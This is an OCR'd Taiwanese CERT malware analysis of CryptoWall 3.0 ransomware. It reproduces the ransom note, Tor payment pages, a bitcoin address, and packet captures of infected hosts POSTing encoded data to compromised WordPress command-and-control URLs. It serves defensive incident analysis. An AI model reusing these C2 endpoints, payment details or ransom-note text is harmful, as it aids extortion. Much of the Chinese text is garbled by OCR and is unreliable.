TACERT £ A5 i p 8327 w BIFH

2015/9



Lo i EAERANEIARS R AR LR A

T R T - BE AN B R Y X R TR

KAn g B RENT -

2. B

R A A P

w
i
by
ke
E\
Ny
~
N

IS

|9

SFE G P04 3l X E B X ¥ % 504 (ransomware) shix 3 o

PRESR RIS ERARRA

IR R A ERIE L R iR £

FhE R AN R ARFFAYT 4170 4 & 2 CryptoWall ehE & ¥+

&R RGE o

AR

1. #* WAL 2 5 Windows 7 % Wit 7 I 8k

2. ER A AH 45 CTBLOCKER. exe » # %2R 71 Rk

AP R B3 MR AR RS ER

;\‘.phjn//Tj °

3. #i® Virus

A e

BLRlzE -

E R AL

total & F 44 > 2Zp& doigiplvt B 41/57 405 %

CryptoWall 3.0 =¥ 2 #ic4¥ -

%ﬁfgg

SHAZ256:
File name:

Detection rati

B Analysis

Antivirus
AlLYac
AVG

Alware

Analysis date:

97b4c801e55f32019ccYebbeef/3aef4652fdbBb11c3657 10820955 14282298

2015-07-06-Angler-EK-malware-payload-CryptoWall-3.0_exe txt

o | 41757

2015-08-28 09:44:42 UTC ( & days. 16 hours ago )

@ File detail 0 Additional information ® Comments n ) Votes Ef Behavioural information

Result
Trojan.GenerickD. 2543720
Inject2. CLUL

Trojan.Win32.GenenclBT

Update
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What happened to your files?
All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.
More information about the encryption keys using RSA-2048 fan be found here: http://en wikipedia. org/wikilRSA_(cryptosystem)

What does this mean?
This means that the structure and data within your files have been irrevacably changed, you will not be able fo work
with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.

How did this happen?

Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.

All your files were encrypted with the public key, which has been transferred to your computer via the Internet

Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.

What do | do?
Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed
If you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.

For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:

1.http://6i3cb6owitcouepv. paybalanceto.com/1figm§j
2 http://6i3cbbowitcouepv.paybrakepoint.com/1figm5j
3.http://6i3chbowitcouepv.paytostopigil.com/1figm5j
4 http://6i3chbowitcouepv.paytodoublemoney.com/1figm5j

@ CryptoWall 3.0

If for some reasons the addresses are not available, follow these steps:

1. Download and install tor-browser: hitp://www torproject.ora/projects/torbrowser.html.en
2. After a successful installation, run the browser and wait for initialization.

3. Type in the address bar: 6i3cb6owitcouepv.onion/1figm5j

4. Follow the instructions on the site.

IMPORTANT INFORMATION:
Your Personal PAGE: http://6i3cb6owitcouepv.paybalanceto.com/1figm5j

Your Personal PAGE(using TOR): 6i3cb6owitcouepv.onion/1figm5j I

Your personal code (if you open the site (or TOR 's) directly): 1figm5j

et et 4B B R A2V R 5 0 4 ah CryptoWall 3.0 0 &
Cryptolocker eex A %k & » 22 % 7 FL~ Fheide | His A % * RSA-2048
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1.http://61i3cb6owitcouepv.paybalanceto.com/1figm5j
2.http://6i3cboowitcouepv.paybrakepoint.com/1figm5]
3.http://6i3cbeowitcouepv.paytostopigil.com/1figm5]j

4.http://61i3cb6owitcouepv.pavtodoublemoney.com/1figm5j
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IMPORTANT INFORMATION:
Your personal page: http://6i3cbéowitcouepv.paybalanceto.com/1figm5]
Your personal page (using TOR): 6i3cb6owitcouepv.onion/l1figm5j

Your personal identification number (if you open the site (or TOR 's) directly): 1figm5j

10. % 18 Tor Browser ® fx "6i3cbbowitcouepv. onion/1figmbj & - ¢ £

NI ~ B RGEA IRA o i~ JRAR IRAET G

W Decrypt service x

- - pt service
€ @IGiScbﬁowitcouepw.onion,-’l"igm5j v o | |°. - Search

ESys WET NEFR EZFEs EEpE

Service to decrypt the files.
To continue please enter the code from the picture in the input field.

Code of picture: I:I
Enter to decrypt service

NI E w0 secret key (hE 5 500 £ £ 0 ¥ P 5 R
T TR 208 acees  BRee= 51000 % £ - » 1‘{30000 S
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L % W Decrypt service

€ ) si3chBowitcouepv.onian/1figm3j

Your files are encrypted.
To get the key to decrypt files you have to pay 500 USD. If payment is not made before 02/09/15 - 21:58 the cost of decrypting

files will increase 2 times and will be 1000 USD/EUR

Prior to increasing the amount left:

167h 59m 35s

Your system: Windows 7 (x64) First connect IF: 14—0.11?.?2.44 Total encrypted 46 files.

We are present a special software - CryptoWall Decrypter - which is allow to decrypt and return control to all your encrypted files.
How to buy CryptoWall decrypter?

©bitcoin

1. You should register Bitcon wallet (click here for more information with

ictures
2. Purchasing Bitcoins - Although it's not yet easy to buy bitcoins, it's getting simpler every day.
Here are our recommendations:

e | ocalBitcoins.com (WU) - Buy Bitcoins with Western Union

s Coincafe.com - Recommended for fast, simple service. Payment Methods: Western Union, Bank of
America,Cash by FedEx, Moneygram, Money Order. In NYC: Bitcoin ATM, In Person

s | ocalBitcoins.com - Service allows you to search for people in your community willing to sell bitcoins to you directly.
4+ 17 = -+ 1 5
124 HF & AT} RED

L2 %% chBitcoin tREL 0 - L X i A3 pham i

¥ % > bitcoin address "L BFET + K& FafA L - » B2 P RE
7 ;ﬁﬁxa\ o

3. Send 2.33 BTC to Bitcoin address:l 1yA3czfyuUeYHwoNZnvBSatUsZ7 G2 |

4. Enter the Transaction ID and select amount:

|[233BTC ~= 500 USD[~]
Note: Transaction |ID - you can find in detailed info about transaction you made.
(example 44214efca56ef039386ddba29c40bf34f19a27 c42f0715cf3e2aa08114c4d1f2)

5. Please check the payment information and click "PAY".

PAY J

Your sent drafts
Draft nurr ortra onlD

MNum

Your payments not found.

0 valid drafts are put, the total amount of 0 USD/EUR. The residue is 500 USD/EUR
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NetWitness Reconstruction for session ID- 197 ( Source 140 44 - 49199, Target 188.165.164.184 - 80)

Drot

Time 8/27/2015 11:35:40to 8/27/2015 11:36:43 Packet Size 3,062 bytes Payload Size 1,346 bytes
A8 £ 20 (oo A Pt ol A Ao Blobao LAl D o - *a

GET / HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0
; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.3)

Host: ip-addr.es

Cache-Control: no-cache

“uwmecpm=

HITP/1.1 200 OK
Date: Thu, 27 Aug 2015 03:35:43 GMT
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Thu, 27 Aug 2015 03:35:43 GMT

R
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre- E
check=0 S
Expires: Thu, 01 JTan 1970 00:00:00 GMT P
Pragma: no-cache o]
X-XSS-Protection: 1 N
Server: DYNAMIC+ é
e
140. .44

15. % 2 ¥#34F 5] = & svchost ¢ i ¥] %4k "obamairsscandal.com -’ IP & #
® 184.106. 75.112 » # %56 HTTP POST #-4c % p 7+ @3 T /wp-
content/themes/cc. php?q=15j4625tx4dwgbw ; 4T » X ¥ & A 4 B iK%

Went 4 -

NetWitness Reconstruction for session ID: 24 ( Source 140. 44 49197, Target 184.106.75.112 - 80)

Time 8/27/2015 10 710 8/27/201510:39°58 Packet Size 4,272 bytes P{y|(:1d Size 2,412 bytes

Drotoacal 2040 (6 ) Llaoc Voom Accomablod AnnAlats Kobuasorcl Aot~ Dol at (Cn
POST /wp—content/themes/cc.php.q:1514625tx4dwg5w HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

Connection: Close

Content-Length: 132

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOWA4; Trident/4.0

; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center

PC 6.0; InfoPath.3)

Host: obamairsscandal.com

Cache-Control: no-cache

nt 29

—wnmcpm=

x=179823b7cH4e279926c0041d39c65dc4511d278echade5e357626ee1d242e5e068eb76e42658bec
7719a74816b74d2aT7cd71b1e951337e40814bf9058adece {420

HTTP/1.1 301 Moved Permanently

Date: Thu, 27 Aug 2015 02:39:59 GMT

Server: Apache

Location: http://www.obamairsscandal.com/wp-content/themes/cc.php?q=15j4625txddwg

Sw

Vary: Accept-Encoding

Content-Length: 395

Connection: close

Content-Type: text/html; charset=iso-8859-1 N
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17. #7 % svchost € £ #& ¥|%#x "http://pictalo.com, IP 5 ¥
45.55.161. 127 > # 1 HITP POST = sV #4e e 7 F @3 T /wp-
content/plugins/woocommerce-one—click/vendor/stripe/stripe-
php/1ib/Error/ee. php?v=azwiuvgz8rbz | 4&4c > v B} 7 ¥ ic £ H s
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NetWitness Reconstruction for session ID- 41 ( Source 140 44 49205, Target 45.55.161.127 - 80)
Time 8/27/2015 10:40:09 to 8/27/2015 10:40:13  Packet Size 103,954 bytes Payload Size 93,760 bytes
R A
POST /wp-content/plugins/woocommerce-one-click/vendor/stripe/stripe-php/lib/Error E HT
/ee.php?v=azwSuvgz8rbz HTTP/1.1 S TP/1.1 200 OK
Accept: */* P Date: Thu, 27 Aug 2015 02:40:13 GMT
Content-Type: application/x-www-form-urlencoded il Content-Type: text/html; charset=UTF-8
Comnection: Close W Vary: Accept-Encoding
Content-Length: 160 &) X-FW-Hash: zpnbc3leti
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0 S| Server: Flywheel/3.1.18
; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center X-Cacheable: NO:Not Cacheable
PC 6.0; InfoPath.3) X-Cache: MISS
Host: pictalo.com X-FW-Static: NO
Cache-Control: no-cache X-FW-Serve: TRUE
X-FW-Type: VISIT
2=90115e5a0d86920e1021d£7458679a2cdbcbd67e13ebl £0590e8110a658c5e5b71263£465£786a0 Content-Length: 45944
9c5ce361689275fe4677683caca24e96eadb08938d8e40a07590490b735£877fafb07bfef221b6c Connection: close

Accept-Ranges: bytes
NG

THDR#RAED IDATx O= F4R0/6dbEES#+w0 O 'lw2t
O0IAGP"I5-00' 0 _$EE 7t0&MH0: wZ tXO>y;BwiE
00 0 OO 0O OO O O/0 0 0/0 O 0O/
KRaQH(HREE HEL OFF] %RE(BE.F yO6{k
do2 ;L 3E. EORVRIREGEN  (O#"88 Biv

HUHEER 0 BORIn TTVET /T BURMWEEE - WERE
>

18. pl:& B 1 Thttp://pictalo.com > ® % Virustotal e 3/63
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6 - @ http://pictalo.com/ p - 0 @ Pictalo | I teach entreprene... X

Fichl@ ABOUT COACHING PODCAST
e ol

MARKET & SELL THEIR
DIGITAL PRODUCTS

| teach entrepreneurs how to create a steady stream of passive
income by building courses, e-books & info-products.

DOWNLOAD MY FREE GUIDE

HOW TO TURN A BLOG POST INTO A PRODUCT

Sell and Market Online Without Feeling Gross

Join the newsletter to learn how. | regularly share things like ‘How to Create a Simple Funnel to Boost Sales’ and 'Ways to
Generate an Unlimited Number of Upsell Ideas.” Come join the family already!
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19. % svchost & € i 35k "http://mpcdu. co.uk ;> [P 5 &R
88.208. 252. 96 » % i HTTP POST = sV #steap 2+ @ 3 T /wp-

includes/dd. php?f=e0tyx7hak4t24ic | &4 > v B P 7 ¥ ac £ H &5

H o SRk g vk Teldedlbddfe07030 , e B F B o

NetWitness Reconstruction for sion ID- 49 ( Source 140. 44 -49209, Target 88.208.252.196 - 80)
Time 8 05 Packet Siz es Payload Size 1,5 ytes
R R A
E POST /wp-includes/dd.php?f=eOtyx75ak4t24ic HITP/1.1 E HTTP/1.1 200 OK
Q Accept: */* S Server: nginx
u Content-Type: application/x-www-form-urlencoded P Date: Thu, 27 Aug 2015 02:41:07 GMT
E Connection: Close o Content-Type: text/html
s Content-Length: 108 A Transfer-Encoding: chunked
U User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0 E Connection: close
; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.3)
Cache-Control: no-cache
v
< >
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@ hitp//wwwmped.. O ~ & I (& MPC Design & Print | Inno... %

INNOVATIVE DESIGN AND PRINT

HOME ABOUT T FINISH L E FTP UPLOAD NEWS & OFFERS CONTACT

We produce exceptional™wWork
that's dedicated to building

our clients’ business.
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Tor browser 1@ I/ & (® #)Rr i 8 > M eérs 2R [P Y %

167.114.227.181:993 » £ SE AL 8L BEE T T £ %7 » =iz

[n7] tor.exe:3248 Properties © .. — L = |68 ﬂ
| Image I Performance I Performance Graph I GPU Graph I Threads | TCP(IP |Securi!:5-I | Environment I Job I Sh'ings|
[ Resolve addresses
Prot...  Local Address Remote Address State
TCP  127.00.1:9150 0.0.0.00 LISTENING
TCP  127.0.0.1:9151 win-j9uda033415:0 LISTENING
TCP  127.00.1:9151 win-{9ul9033415:49263 ESTABLISH.. |
TCP  127.00.1:9151 win-j9ul9033415:49267 ESTABLISH.. |
TCF  127.00.1:9131 win-{9u09033415:49274 ESTABLISH..
TCP  127.0.0.1:49264 127.0.0.1:49265 ESTABLISH... |
TCP  127.00.1:49265 127.0.0.1:49264 ESTABLISH..
TCP  140. A4:49271 [167.114.2277.181:993 ESTABLISH.. |
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